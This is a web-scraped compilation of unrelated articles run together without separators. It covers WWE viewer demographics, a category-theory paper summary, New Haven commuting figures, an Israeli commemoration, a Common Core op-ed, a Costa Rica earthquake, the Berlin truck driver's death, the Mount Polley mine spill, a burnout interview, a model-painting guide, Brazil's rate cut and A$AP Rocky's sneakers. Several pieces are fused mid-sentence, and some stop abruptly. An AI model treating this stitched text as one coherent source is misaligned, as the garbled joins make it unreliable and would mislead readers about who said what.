This all, of course, becomes even creepier, dare I say creepiest, because this was really the last we saw of Blake before he (most likely) killed Bonnie Lee Bakly. Well crap, now I might have to add O.J. as Nordberg in Naked Gun to the list…When you think of professional wrestling, and you stop smirking, you think of Dave Meltzer. Meltzer is arguably (and many would say inarguably) the most trusted voice in the world of pro wrestling reporting, specifically as the editor of the Wrestling Observer Newsletter and WrestlingObserver.com and a writer for MMAFighting.com.
Meltzer appeared on the Sports Illustrated Media podcast with Richard Deitsch to talk about what’s going on in the world of the WWE. There’s certainly a lot of fantastic nuggets here for fans of pro wrestling but there was one statistic that he mentioned that stood out to us.
Wild stat from Dave Meltzer on @richarddeitsch podcast: Average age of WWE viewer from 97-01 was 23. Now, it’s in the 40s. — Chris Vannini (@ChrisVannini) August 31, 2016
If that’s true, there is a lot we can extrapolate from that.
It’s been hard not to notice that WWE TV ratings have been steadily declining for the better part of the last few years, seemingly hitting new lows every couple of months. There are positives here and there, but they seem to be the exception and not the rule. You can make a pretty clear correlation between the rise in average age of the WWE viewer and the decline in ratings and it makes you wonder how they’ll ever be able to reverse the trend (or if they’d rather start focusing on other things like their own network).
The company has been reporting record profits in recent years, so knowing that the ratings are declining and the average viewer is getting older, they must be thinking about the breaking point where that number creeps up towards 50. Does USA Network really want a show that only appeals to 50-year-olds? (No offense to 50-year-olds).
What’s really fascinating about those numbers is that it means the average WWE viewer peaked around 2000-2001 and then those viewers grew up continuing to watch while the younger generation zoned out. As much as the WWE has been pushing to attract a younger audience, and boy do they, it’s clearly not working anywhere near as well as they’d like.
It also speaks to the frustrations many of those average viewers have with WWE programming. That era when they peaked was the Attitude Era when the programming was geared towards being bloodier, sexier, and something closer to R. Compare that to the recent years, which are actually known as The PG Era.
From that, it makes you wonder. If The Attitude Era was when WWE pulled in the strongest young audience, and they haven’t been able to recreate that success as they’ve softened their product to some extent, why not try to go back to that? Why shy away from what worked so well and instead work overtime to get over with kids and teens? In a way, the WWE’s push to attract a young audience appears to have repelled them.
Meltzer himself probably sums it up best.
“The fanbase has changed. Some will argue for the best. Some will argue for the worst. And I think Vince [McMahon] has been very slow to change with it. There’s definitely been a disconnect between Vince and his fanbase in the last couple years. Vince thinks he knows best and the fans think they know best. I’m not sure who knows best…”
Those demographic numbers are probably the key to knowing who actually does know best. If they keep creeping up, clearly that hardcore, dedicated audience is trying desperately to tell Vince the undeniable truth that they’re going to stick with this product they love, so WWE might as well consider catering to them sooner or later.
[SI.com]Martin Hyland and John Power (2007). The Category Theoretic Understanding of Universal Algebra: Lawvere Theories and Monads. ENTCS 172:437-458.
Both monads and Lawvere theories provide characterisations of algebraic structure, with monads providing the more general characterisation. The authors provide an introduction to Lawvere theories, discusses their relationship to sets, and why monads became the more popular treatment.
Then they tackle the application of the theory to the semantics of side effects, where they argue that the generality of monads allow them to characterise computational phenomena that are not to do with side effects such as partiality and continuations, and argue that Lawvere theories more cleanly characterise what side effects are.
This paper is a good introduction to an important line of recent research done by Hyland&Power; cf. also the LtU story Combining computational effects.New Haven is one of America’s most walkable cities, with 11.2 percent of commuters walking to work, the 8th highest percentage in the nation, among cities with populations of at least 100,000. The top 10 list of Most Walkable Cities, published by GOVERNING magazine, notes that many of top communities are in the Northeast, and that communities across the country are stepping up efforts to enhance alternative ways of commuting from home to work.
The top cities were Cambridge, MA (24.5%), Columbia, SC (20.7%), Berkeley, CA (18.1%), Ann Arbor, MI (15.5%), Boston, MA (15.5%), Provo, UT (12.2%), Washington, DC (11.9%), New Haven, CT (11.2%), Syracuse, NY (11%) and Providence, RI (10.8%).
Overall, 67 percent of New Haven commuters use their car, 11.2 percent walk, 4.8 percent bike or use other modes of transportation, and 1.7 percent work from home., according to the data developed from the U.S. Census Bureau’s American Communities Survey, which included 300 metropolitan areas.
Nationally, only 2.8 percent of workers primarily commuted by walking last year, a figure that remains mostly unchanged from recent annual estimates, GOVERNING reported.
Among the New Haven walkers, 36 percent are age 16-24, 52 percent are age 25-44, 9 percent are age 45-64 and 2 percent are age 65 or older. The median age of walk commuters is 27.8, according to the date. In categorizing individuals, a person’s longest distance traveled is used, so those walking tp transit stations are designated as public transportation commuters, even though a portion of their daily commute involves walking.
Among Connecticut’s most populous cities, in Bridgeport 4.3 percent of commuters walk to work; in Stamford the figure is 4.7 percent, in Hartford 7.9 percent, and in Waterbury 2.6 percent.On Monday, Israel commemorated the 20th century expulsion of ancient Jewish communities from across the Arab and Muslim world, Israel’s i24 news channel reported. The annual commemoration was first held last year, following the passage of a law by the Knesset designating November 30 as the day to memorialize the 850,000 Jews who were dispossessed of their homes both before and after the establishment of Israel in 1948.
The date was chosen for its significance to the refugees. On November 29, 1947, the United Nations General Assembly approved the partition of Mandatory Palestine into two states. Following the vote, Jews across the Middle East were subjected to increased persecution at the behest of the Arab League.
In the immediate aftermath of the adoption of the partition plan, pogroms were perpetrated against Jews – on direct orders of the Arab League – in Aden, which had 8,700 Jews in 1948 (there were 45,000 in total in Yemen) and Syria’s Aleppo, which boasted a 20,000-strong Jewish community before the creation of Israel. … In Morocco, the number of Jews shrank from 286,000 in 1948 to 50,000 in 1968. In early 2015, there were no more than 2,500. In Algeria, the number went from 130,000 in 1948 to 1,500 in 1968, whereas in Egypt from 75,000 to less than 1,000 in the same period.
Jews Indigenous to the Middle East and North Africa, an advocacy group for the Jewish refugees, has complied the histories of Jews in Arab and Muslim lands on a country by country basis. The group aims to raise awareness of the heritage and trials of these refugees, which have been largely unrecognized internationally. Notably, despite numbering in the hundreds of thousands, the United Nations has never held a single session to discuss their plight.
Former Knesset member Ashley Perry is one of the advocates working to change that. Perry wrote Monday in The Times of Israel:
To spread greater understanding of the issue abroad, with the Ministry of Foreign Affairs Bureau for World Jewish Affairs and World Religions, headed by Akiva Tor, we created a traveling exhibition that would be sent to embassies, consulates, Jewish communities and organizations around the world to print out locally and display at relevant events surrounding the date. Last year, tens of events were held around the world organized with the assistance of Israel’s embassies and consulates and the local Jewish communities. However, now more than ever, it is vitally important that the issue of the Jews of the Middle East and North Africa is studied and discussed in Jewish schools and educational and communal institutions across the Diaspora.
Perry, who collaborated with Knesset member Shimon Ohayon to increase the Israeli government’s awareness of the issue, aims to make 2016 the “Jewish year of solidarity with the Jewish refugees from Arab countries.” If the Jews from Arab and Muslim lands are to get justice for their losses, Perry asserted, Jews “should inform ourselves about the history of the communities and their cleansing and extinction during the 20th Century.”
[Photo: ada4567 / YouTube ]Prior to taking up education reform as his hobby, Bill Gates was known primarily for achieving a virtual monopoly over the operating systems running computers around the world. Microsoft Windows runs on well over 90% of the computers, and software applications must be written in alignment with it. This provides some great efficiencies. Windows works reasonably well, and once one has learned to use it, one can now use any other computer similarly equipped.
We are now several years into a process that Mr. Gates has been funding to create Common Core (national) standards. I wonder if these standards are analogous to the Windows operating system? Once in place, all curriculum (software) will need to be written in alignment to these standards. Then, a carefully developed set of tests will measure how well students have mastered the curriculum, providing irrefutable evidence of their accomplishments and the effectiveness of their teachers. We can then incentivize performance by students and teachers alike, and make sure that the best are rewarded, and held up to be emulated by others.
This is a technocrat's dream of the perfect system. But for several reasons it fills me with dread.
We have here a perfect means of replicating the status quo. In fact, the very definition of success is that one has mastered the canon embodied in the core standards. I have read the standards, and many of them are unobjectionable. However, once the die is cast, the curriculum defined and assessments created, the process has reached the end of its creative life. Excellence, once defined, is a captured bird. It immediately begins to age and whither.
Others, such as Yong Zhao, have written of the economic impact standardization is likely to have on our vitality and capacity to innovate. I look at this issue from the perspective of the classroom teacher. For me, what made my classroom an exciting place was not the efficiency with which I covered a great many standards. It was the pursuit of the topical, the intriguing, the unknown. The year after I spent a summer in the rain forests of Ecuador when my students learned about adaptation and biodiversity. Our exploration of dry ice - in far more depth than would have been allowed by any District timeline. I want the opportunity, as a teacher, to be able to focus my class on whatever particular aspect of science emerges as most |
Peaks continues to be the leader in quantifying training so athletes can better track, analyze and plan for their next event. Like those athletes, TrainingPeaks is constantly looking for the latest technology to help them achieve their goals. So the question is, how F.A.S.T. are you? Send us your selfie, we’ll do the quantifying. #FASTSCORECosta Rica was hit by a strong 6.6-magnitude earthquake Tuesday that rattled the capital San Jose.
However, there were no reports of damage nor the threat of a destructive tsunami.
The epicentre of the quake, which struck at 6:45 p.m. on Tuesday, is located over land, 86 miles west of the capital San Jose and 5 miles from the resort town of Nicoya, the Associated Press reported, citing the US Geological Survey.
The Republic cited residents of Matapalo, an hour drive from Nicoya, as saying they heard a roaring sound when the quake struck.
"I'm shaken. But it doesn't feel close to how it sounds like. The sound was deafening," said Alberto Canales, a receptionist at the Hotel Riu Guanacaste.
The initial quake was followed by a magnitude-4.5 aftershock.
"It is a very good likelihood that we are looking at an aftershock," said USGS geophysicist Rafael Abreu.
On Sept. 5, a powerful 7.6-magnitude earthquake struck a tourist area off Costa Rica's Pacific coast, knocking out power lines, damaging buildings and causing panic but no casualties.
US and Costa Rican seismologists said the quake was probably an aftershock of the Sept. 5 major earthquake, the Republic wrote.
More from GlobalPost: Costa Rica: Earthquake hits at 7.6 magnitude (VIDEO)THE man whose truck was hijacked to commit the horrific terror attack on the Berlin Christmas markets desperately tried to stop the terrorist as he lay dying.
Brave Lukasz Urban, 37, tried to wrestle the wheel out of the terrorist's grasp with reports out of Germany now suggesting that the Polish driver continued his efforts to stop the mass murderer even as he bled out from stab wounds.
10 Lukasz Urban is now believed to have been alive during the terror attack with reports suggesting he tried to stop the terrorist
AP:Associated Press 10 Lukasz Urban, the 37-year-old driver of the lorry which was hijacked during Berlin attack
An investigator told Bild news that there "must have been a fight" despite initial reports that the Polish father had been killed before the terror attack that saw a killer plough into crowds in Breitscheidplatz Square.
It is understood the terrorist stabbed the truck driver several times to stop his valiant attempts to halt the attack that killed a dozen people and injured about 50 others.
Photos of Mr Urban in his last moments seem to suggest he was fighting with the terrorist before being fatally shot.
Getty Images 10 The truck was ambushed while Lukasz stopped to get a kebab
The 37-year-old truck driver's body was found in the truck's cabin after the attack with the murderer fleeing from the scene.
The terrorist is believed to have seized his chance to ambush the driver when he spotted him nipping to buy a kebab.
German officials showed grim photos of the dead lorry driver to his shattered family back in Poland so they could identify him.
His cousin Ariel Zurawski, owner of the trucking company Lukasz worked for, said: “It was really clear he was fighting for his life.
“His face was swollen and bloodied. Police informed me that he had suffered gunshot wounds. Despite being stabbed he was shot dead.
“I believe he would not give up the vehicle and would defend it to the end if he were attacked.”
A post-mortem confirmed he was knifed several times. And detectives also believe he fought desperately to save his life.
Lukasz’s articulated truck was loaded with 25 tons of steel.
PAP 10 Ariel Zurawski shows a picture of his cousin Lukasz, who fought for his life after being stabbed but was shot by the jihadist
He was ambushed after driving to drop it off at the Thyssenkrupp Schulte depot on an industrial estate in west Berlin.
It is less than three miles from the scene of Monday night’s terrorist atrocity.
The depot — which is next to a centre where migrants and asylum seekers are processed — informed Lucasz when he arrived at 7am on Monday that he was a day early. He was told to wait with his delivery until 8am the next day.
So he parked up close to a canal nearby. By 2pm he was hungry so nipped to a kebab restaurant 300 yards away called the Amrumer Grill.
AP:Associated Press 10 Ariel told how his cousin's wife had to travel to Berlin to identify the body, but could not go through with it
The Turkish restaurant’s manager said: “Loads of lorry drivers come here.”
It was to be Lukasz’s last ever meal. He paid £2.10 — and CCTV captured him sitting down at a table to tuck in.
An hour later he called his wife Zuzanna but she was at work so could not talk to him.
When she tried calling him back later on Monday afternoon there was no reply.
Lukasz’s cousin told how a GPS tracker fitted to the hijacked truck allowed his firm back in Poland to monitor it.
He said: “It was started up, turned off, driven forward, then backward — as if somebody inside was learning how to drive.”
Getty Images 10 The lorry was driven into Christmas markets in the German capital, killing 12 and injuring at least 50 others
He is convinced Lukasz, who was strong and 6ft 2in, was attacked by more than one person.
Mr Zurawski said: “This is a double tragedy for the family. Two years ago his brother killed himself.
“Now their father has been taken into hospital suffering from shock.”
Mr Zurawski described his cousin’s wife Zuzanna and 17-year-old son as “very distressed”.
He said: “They have had no support from either Germany or Poland. No psychologists, specialists — she is on her own.”
Getty Images 10 Ariel said his cousin's wife and teenage son have received no support since the attack
Last night Zuzanna was in Germany after being asked to identify her husband’s body in the morgue.
She was too upset to go through with it so got another family member to perform the grim task.
Her husband’s cousin, speaking outside his house in the village of Sobiemysl in north west Poland, said:
“Lukasz’s plan was to be home by Thursday and prepare presents for Christmas.
“When I spoke to him he was saying it was a strange area of Berlin because it was full of Muslims.
“The only Germans he came into contact with were those at the depot.”
Getty Images 10 Mourners lay tributes in Berlin
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Staff at Thyssenkrupp refused to comment yesterday.
The company later said in a statement: “We learned with dismay of the events at the Berlin Christmas market.
“Our sympathies and condolences go to the victims and their families.
“The truck that was driven into the Christmas market was carrying goods for Thyssenkrupp Schulte’s Berlin branch.
“It was structural steel that was supposed to be shipped out today by an external carrier. The truck already called in at the Thyssenkrupp branch yesterday but could not be unloaded as it was too early. Thyssenkrupp is supporting the local authorities in their investigations.”
Getty Images 10 Berlin police are still searching for the culprit, having already released one suspect
A source confirmed: “He turned up early but was told he couldn’t drop the steel off.
“He was told he would have to do it the next day. So he went for a kebab and a nap.”
Last night — almost 24 hours after the atrocity at the market — police carried out a fingertip search of the area where it is believed Lukasz was ambushed.
Artificial lights were brought in as darkness fell.
Eleven uniformed officers painstakingly scoured the pavement and undergrowth.
The canal that runs alongside the steel warehouse was also checked.
A police source said: “They may be searching for weapons or bullets.”
Is Britain prepared for an attack?
BETTER CALL PAUL with Paul Ross today from 9am on 0344 499 1000
Listen on DAB, via the talkRADIO app or online at talkradio.co.ukA middle-of-the-night breach of the tailings pond for an open-pit copper and gold mine in British Columbia sent a massive volume of toxic waste into several nearby waterways on Monday, leading authorities to issue a water-use ban.
Slurry from Mount Polley Mine near Likely, B.C. breached the earthen dam around 3:45 am on Monday, with hundreds of millions of gallons — equivalent to 2,000 Olympic-sized swimming pools, according to Canada's Global News — gushing into Quesnel Lake, Cariboo Creek, Hazeltine Creek and Polley Lake. An estimated 300 homes, plus visitors and campers, are affected by the ban on drinking and bathing in the area's water.
Chief Anne Louie of the Williams Lake Indian band told the National Post the breach was a “massive environmental disaster.”
With salmon runs currently making their way to their spawning grounds, “Our people are at the river side wondering if their vital food source is safe to eat,” said Garry John, aboriginal activist and member of the board of directors of the Council of Canadians, in a press release.
The Canadian media company QMI Agency reports:
Federal data on the project show the company significantly increased its on-site storage of toxins such as arsenic, mercury and lead in the past two years. Environment Canada's data on Imperial Metal's mine tailings show mercury compounds, a neurotoxin that can cause degenerative disease, ramped up from 435 kilograms in 2012 to 3,114 kg last year — a seven-fold increase. Likewise, levels of the deadly poison arsenic more than quadrupled to 406,122 kg last year.
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Local experts say they raised concerns about such a breach years ago. “We held discussions with the mine staff related to the potential of this situation occurring," Chief Louie told the Post. "We have a report that we worked on a couple of years ago," she added, referring to an independent review by an environmental consulting firm completed in 2011. The report suggested additional monitoring and emergency contingency plans were in order.
Imperial Metals, which also operates a gold mine in Nevada, said Tuesday morning that the dam had been stabilized. In a statement, the company said: "Exact quantities of water and tailings discharged have yet to be determined. The tailings are alkaline with an average ph of 8.5 and are not acid generating."
But Ramsey Hart, the Canada programs director for MiningWatch Canada, noted that toxic heavy metals, which settle at the bottom of rivers and lakes, are difficult to clean up. "You can't release that amount of toxic metals into ecosystems without having long-term repercussions," Hart told QMI Agency. "If they're able to clean some of it up that would be helpful, but they'll never be able to clean it all up — those metals don't go anywhere."
The breach is further evidence that such mining projects should be vigorously opposed, said Leila Darwish, the Council of Canadians’ Pacific Regional Organizer:
These companies are gambling with our drinking water, our health and the environment. While mining companies like Imperial Metals make massive profits for 25-30 years, these projects are putting entire water systems and communities at risk. Are these massive mines really worth the risk?
The following video, from the Cariboo Regional District, shows the extent of the damage:Page Content
An edited transcript of the interview follows.
Knowledge@Australian School of Business: Markus, are there particular fields or jobs that give rise to burnout?
Markus Groth: Yes, we tend to find burnout in the types of jobs where employees interact a lot with either customers or patients or students in the context of teaching. Any type of job where there's a lot of interactions in the daily life of employees is where you see a lot of burnout.
Knowledge@Australian School of Business: Every business wants its employees to put in a good day's work – and that's fair enough – so how are workers suffering?
Markus Groth: There's a multitude of factors that may cause it. Where burnout commonly occurs is in jobs where employees are not necessarily working for the money or the fame – such as nursing or teaching – but because they have a genuine desire to help customers, students or patients. They want to do a good job, and what can become frustrating for them is having to deal with an organisational environment where they may not be able to deliver the type of service that they want to deliver or, in some instances, where there is a lot of incivility and abuse or aggression from patients or customers means they constantly need to put on a certain persona. Take nursing, for example. It's a very stressful environment for employees and the patients. Often it's an unfamiliar situation for the patient and the families and friends who are with them. They face a diagnosis that may impact their life; so there is a lot of stress and emotions in that situation. Frequently they don't quite know how to deal with it, so they may start lashing out and become agitated and aggressive. Nurses constantly have to deal with that in a very professional manner. They need to block out the negative emotions. No matter what they may think about a particular interaction, they need to be very empathetic and helpful. Having to constantly hold back certain emotions and put up a persona to give professional, empathetic care, day in and day out, over months and years, is one of the driving causes of burnout, according to our research.
Knowledge@Australian School of Business: Effectively staff members are masking their emotions because they need to be happy and friendly when dealing with customers or patients. How do they deal with this contradiction?
Markus Groth: There's a very natural process called emotion regulation which we use in all instances of life, not just in the work environment. When we deal with our partners and strangers in public, we don't always express the emotions that we feel because it's not socially acceptable or we don't want to reveal them. But having to do that intensively in a job is stressful.
Knowledge@Australian School of Business: Is this because managers remain unaware of the pressure that workers are under? Or, do managers just allow it to happen and that's how burnout occurs?
Markus Groth: Managers are looking at the bottom line. In a service context, they want to deliver cheerful, friendly service to customers. When they are offering the same as their competitors, they think that doing it with the extra smile will provide a competitive advantage. In many organisations (the expectation is) implicit and sometimes it's very explicit. In the employee guidelines and in the training process, there may be strict guidelines that stipulate the emotions that employees are allowed – or not allowed – to display, regardless of how annoying a customer is or whether or not this person is wrong. Those who are dealing with customers are told to respond in a certain way – "Yes, I'm sorry, and we will try to address the problem." Organisations feel like it's in their best interests to have what are called "display rules" so there's some consistency in how employees behave.
Interestingly, the research has found what's driving customer satisfaction and loyalty is not so much the smiling or perceived friendliness, but the perceived authenticity. What's much more important in driving the customer outcomes that managers seek is if the customers feel people are genuinely interested and trying to help them, that is, they are genuinely friendly and they are not just putting on a fake smile to meet a manager's expectations.
Knowledge@Australian School of Business: Are some managers more empathetic with the workers in terms of having realistic expectations and targets? Is there a difference between the expectations of managers who work their way up through the ladder, and others who've been parachuted in?
Markus Groth: Despite what I just said, it's a bit of a double-edged sword – because there is clear evidence showing that employees who are helpful and friendly are perceived as positive by customers, managers to try to prescribe this behaviour as much as possible. Also it can have some positive effects for customers. But from an employee's side, if done excessively and if they are not trained properly, it can lead to negative outcomes, such as stress, burnout, dissatisfaction and turnover rates may go up.
From a marketing perspective you might want to have that friendly service to distinguish yourselves from our competitors. At the same time, if you take it too much to the extreme, it may actually affect your bottom line negatively in terms of employee dissatisfaction, engagement, turnover and burnout.
Knowledge@Australian School of Business: How can companies avoid the negative productivity implications of their staff being burnt out?
Markus Groth: Good question, and to be honest the research is still developing in terms of how we can either select the right people for these types of jobs, or train them effectively to have a realistic view of what's expected and whether or not they can sustain that in their jobs and their careers. Certainly, there are some people who are able to deal with that sort of pressure, but there may also be factors in the service environment, such as having a supportive climate around people, even if there are strict guidelines that need to be followed. People who feel they are supported and who have been trained properly sometimes just need an opportunity to let off steam or vent a bit.
Research has shown that giving people in those circumstances an ability to take a time out – short breaks where they can go in the back room and remove themselves from having to deal with customers, sometimes for a few minutes, can make a difference. We have just completed a study where we looked at what we call a climate of emotional authenticity. And the literature looks at "psychological safety" – the degree to which people in a group feel safe to express criticism and raise issues without being shut down by others. We looked at what happens when there's a climate that allows people to vent and complain about an interaction that they just had or when they need to be on guard because their employer says it's not acceptable to do that. We found that if there is such a climate where people allow each other to effectively go back stage, then that can have a good impact for reducing the negative impact of employee burnout and stress levels.
Knowledge@Australian School of Business: Within organisations and teams, how do you encourage them to discuss things that maybe are quite negative without the fear of being shut down, so they feel it's okay to let off steam?
Markus Groth: One simple and easy solution would be to create awareness for it. In many contexts, there is not the awareness among people that this is something that needs to be discussed as a group. You do your job as a nurse or salesperson and you think these are the negative aspects of my job that I have to deal with, period. But the minute you realise that other people go through the same things and may have some of the same emotional stresses as you, and you are able to talk about them freely, in itself that may be a good therapy. Creating a climate in which you allow employees to feel safe about discussing (the negative aspects of their jobs) can make a huge difference.
Knowledge@Australian School of Business: That only works if the people in the organisation are willing to talk about their emotions and are actually engaged in the work. How can you get the right sort of people into a team?
Markus Groth: We have found that some personality types may be more suitable for these kinds of jobs, but that stream of research is still in the very early stages and I couldn't say we have a guide to the definite characteristics, or that particular psychological tests will work for determining recruits for customer-interacting jobs.
Knowledge@Australian School of Business: But if a company was to start recruiting people looking beyond the ability to do the job to personality types, do you think that might reduce burnout?
Markus Groth: Potentially, yes. One thing to look at is emotional intelligence – which has been a buzzword in business for a long time. But if you boil it down to the real definition of the construct, the ability to read other people's emotions may be a factor, rather than having a lot of social intelligence and being extroverted and good in interactions. A simple ability to look the other person in the face, or when dealing on the phone in a call centre environment, to detect when the customer is getting slightly irritated or in the early stages of getting annoyed or abusive, can help prevent it from escalating. There are lot of people who are not particularly good at that. They don't pick up early warning signs all that easily, and there are some tests out there to determine this. We are running studies right now looking at this as a predictor of their job performance and their sustainability in the job in terms of turnover rates etcetera. Early signs are that recruiting for emotional intelligence look promising.
Knowledge@Australian School of Business: How can you get employers to see measures to prevent burnout as an investment, rather than a cost?
Markus Groth: Managers need to understand that burnout can have a huge financial impact on the bottom line of the organisation, so it should be minimised as much as possible. It's great if that can happen in the recruiting stage by identifying criteria that may be predictors of burnout. However, for employees already in the organisation, trying to create an environment where they understand the emotional demands of their jobs, and consequently are better able to cope with them, will positively affect the bottom line. It will mean employees are able to stay in their jobs, be more engaged, be more productive. On the customer side – particularly when authentic emotions impact customer loyalty and satisfaction – it's also very beneficial for the bottom line. So finding the right balance is critical for managers.Editors Note: Evan “Lacquer Man” Smith is back with this beautiful P-47D in natural metal finish (NMF). Evan is an awesome modeler and describes the tricks he used to tame the NMF including spraying straight thinner onto his gloss coat: cool trick!! Thanks Evan!
Intro:
Natural metal finishes are often considered the bane of aircraft modelers, and for good reason. The level of surface prep and care dwarfs that needed for a normal camouflage finish and the reflective surface will show every seam and scratch. Despair not fair reader: the steps in this article enabled me to get the results you see here on my first try, and with a bit of care and time you can do the same. I make no claims to be the authority on this matter, but this is what worked for me!
The Kit:
This is the Eduard Jugs Over Germany re-boxing of the old Academy kit in 1/48th, with a mountain of resin and photo etch to bring it up to date. This is definitely one for the experienced modeler, as this kit takes a lot of work to get a clean build. The guide plate for the canopy rail alone has 11 different pieces of photo etch to glue together.
If you want a P-47 with an easier assembly, check out Tamiya’s offering. Even after 15 years it still stands out as one of the best engineered kits ever made.
It’s also worth noting that while I use enamel and lacquer based paints, I have a spray booth and filter mask to keep the various awful chemicals out me, and my home. Nothing you’ll be spraying in this hobby is something you want to inhale, so do yourself a favor and invest in at least a chemical respirator if you plan on airbrushing!
The Natural Metal Finish:
The first and most important step is surface preparation. This is also when you want to plan out how you’ll fix a handle on your project, as fingerprints will show up like a spotlight on this finish.
You’ll want a hard primer that takes well to being sanded, as this will be your guide and correction coat. I used AK’s lacquer primer for this due to its quick drying and ability to be very finely sanded. I focused particularly on the seams where fuselage halves and wings join up, and the wing roots. A couple of extra hours here to fill and smooth everything will be well worth it. Th AK primer was shot straight from the bottle at ~12 psi using my H&S Evolution fitted with a 0.2mm tip.
And now, the sanding. While most primers look fairly smooth to the naked eye, for a bare metal finish you’ll need to take it to the next level for the best results.
Start sanding using a piece of alpha abrasives 600 grit on a sanding sponge to smooth out the surface, using some water to keep it from scratching and prevent dust getting in my eyes. Then using micro finishing pads, I worked my way from 4,000 up to 12,000 grit. The next step helped take care of the rest.
One of the most important parts of a good successful natural metal finish is the gloss coat. The job of the primer is primarily as a guide and trouble-spotting layer for the gloss coat. I used Gunze’s Mr. Color GX 002, a high gloss black. This was diluted 1:1 with Mr. Leveling Thinner and shot with my H&S Infinity fitted with a 0.2mm tip at 12-14 psi. The result was a beautiful gloss finish. This is where every scratch you missed in the previous step will show up, but that’s normal for this sort of job.
I went through another round of polishing with micro finishing pads to get everything as clean as possible followed by another layer of thinned Mr. Color Gloss black sprayed as described above.
Now for the fun trick: I sprayed a light layer of pure Mr. Leveling Thinner over the entire gloss black coat. You want just enough to have a light smooth coating over the entire model. This is an old auto-painting trick that helps produce as smooth a finish as possible, and I love it.
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Let that gloss coat cure for a day or so. I know you’ll be tempted to poke at it to see if you can get to the next step, but that’s a bad idea. I went through four cycles of sanding and re-spraying thanks to my impatient poking, so trust me when I say that you should wait.
Right! Now that we’ve been patient, it’s time for the really fun part. Metal! I used AK’s Extreme Metal paint for this, with Polished Aluminum (#AK-431) being the primary color. I found the trick with this paint is to lay down as thin a coat as you possibly can. The moment you let the paint start to pool or build up too much it will start to attack the layer underneath and turn it into a rough silver finish instead of the nice shiny bare metal you want. I shot it straight from the bottle at 10psi with my H&S Evolution fitted with a 0.2mm tip.
The best approach was to split the painting into two sessions: one for the top and one for the bottom. As with the gloss coat, you must resist the urge to touch or poke it. Give it a day and come back if you don’t want to play constant touch up games.
It’s also worth noting that despite its superior durability to the Alclad II equivalents this paint is still very fragile and should be handled with gloves and extreme care. An accidental rub and/or bump into your painting stand will absolutely cause trouble, so be careful!
From here, you’re on the home stretch! I chose Alclad’s Aqua Gloss as a clear sealant due to it being water based and therefore safe to spray over the bare metal once it is fully dry. If you have any doubts about your clear being safe, just spray a test piece of plastic with your metalizer on it to see if it goes poorly. If you’re like me and use enamel based washes for weathering, be sure to give it at least two solid coats of clear or you’ll risk the wash attacking anything that isn’t perfectly sealed. It doesn’t take more than a unsealed pinhole to allow enough of the wash under the clear coat to require a section being redone, and trust me when I say that moment is no fun.
After your clear is down and you’re satisfied with any contrasting panels you’ve decided to add (followed by another coat of clear, of course) you can take on the invasion stripes, anti glare panels and any other bits of color you like. Decal, weather and you’re done!
Conclusion:
Hopefully this sheds a little bit of light onto the dark art of the natural metal finish. It isn’t as tough as some make it out to be, but it isn’t easy either. If you’re still intimidated, just grab one of your test models from the shelf of doom and give the process a try. A little bit of experimenting can show you what you’re getting into with no pressure.
Give it a shot, and happy modeling!
Evan Smith
CommentsBy Mike Caggeso
Associate Editor
Money Morning
Brazil's central bank today (Wednesday) cut its benchmark interest rate from 13.75% to 12.75%, its first rate cut in 16 months and a move to guard the country's economy from the global financial crisis.
In the past year, it rained pretty hard on Brazil's burgeoning economy. Its Bovespa stock index is been halved since hitting a record high in May. During that fall, Brazil's currency, the real, tumbled more than one-third from its nine-year high.
In the fourth quarter, commodity prices and consumer demand continued falling, leading to a loss of 654,946 government-registered jobs in December – the worse monthly loss since the government began tracking jobs data in 1999.
With the interest rate cut – a moved allowed by falling inflation – the central bank hopes the $1.9 trillion economy can keep pace with President Lula's 2% economic growth target for 2009, a small figure compared to the 6.8% expansion registered by the Brazilian economy in the third quarter of 2008, Bloomberg reported.
Inflation cooled to 5.9% in December, falling within the bank's target of 2.5% to 6.5%.
"We have a good macroeconomic situation to cut interest rates," Alexandre Lintz, chief economist at Banco BNP Paribas Brasil SA, told Bloomberg.
Brazil Outlook
In the next three years, China, alone will invest as much as $725 billion in infrastructure, while Brazil will invest $225 billion with very similar goals:
Strengthen fiscal stimulus, allowing a drop in the value of the real currency (a decline that's already been substantial) in order to cushion exports.
Easing capital requirements to Brazil's strong banking system, which will spur housing and car loans.
Export financing.
Begin huge local infrastructure projects.
There is another little-understood phenomenon that cushions the blows for emerging economies: Intra-emerging market trade has become increasingly important. By now everybody understands that iron ore from Brazil and coal and oil from other emerging markets is flowing into China in order to fuel China's massive infrastructure buildup and growing consumer demand.
Money Morning Contributing Editor and emerging market specialist, Horaocio Marquez feels Brazil will pull itself through the financial crisis because historically and presently, the Central Bank of Brazil and the Brazilian government have acted very quickly to backstop the liquidity effects against their banks.
Both are run by a superb team of experienced managers, especially adept at controlling the till in rough economic waters, Marquez said.
"The policies, run day to day by a sophisticated technocracy led by top economists and international bankers, many of which held top positions in leading international banks, have allowed Brazil to move forward," Marquez said. "Hence, Brazil is by far my favorite Latin American play for 2009."Not only is A$AP Rocky a man with nearly unlimited access to kicks, he now has his own signature sneaker with Under Armour. While regular folks window shop for the latest sneakers from Dior or OFF-WHITE x Jordan, Rocky receives them weeks, if not months, ahead of their release. The fashion killa’s sneaker closet must truly be a sight to behold.
But despite having all the choices (Raf Simons, Rick Owens…) in the world, Rocky has stayed rocking Vans (Old Skools to be more specific). Maybe his good friend Tyler, The Creator, a former Vans collaborator, has something to do with it. Old Skools were even Rocky’s shoe of choice for this A$AP Mob photo shoot.
Below, we trawled some of the biggest A$AP Rocky fan accounts on Instagram, to put together a quick style report, showing some of Pretty Flacko’s best looks all while rocking the classic California skate brand and proving the silhouette goes with just about anything.
Never not working
Rocky nails the classic look here with a vintage Michael Jordan T-shirt, black jeans, and a pair of “Flames” Vans Old Skools. The A$AP Mob frontman is clearly bringing the energy and doing his fiery footwear choice justice.
Warped Tour Chic
Channelling a punk aesthetic, Rocky wears a striped T-shirt and cropped trousers, highlighting his fashionably unlaced Vans Old Skools.
Cozy Boys
Rocky is seen donning the black Old Skools once again, which seem to be his go-to sneaker of late. Pretty Flacko also dons a Hermès blanket while performing on stage.
After-Hours Rocky
Rocky nailed the high-low look with classic black Old Skools and a luxe AWGE x JW Anderson fur jacket. He matched the low-top sneakers with some Prada suit pants, something we’re quite big fans of.
Lace Swap
Oversized hoodie? Check. Billowing pants? Check. Vans Old Skool? Check. This is a signature Flacko ’fit but this time the rapper gives his kicks an eye-popping lace swap that not only add a new dimension to the classic creps but match his bandana to boot.
Fashion Killa
There’s no doubt Rocky is a fan of billowing trousers paired with Vans, a combination which he returns to here, also rocking a Balenciaga sweater.
On Stage
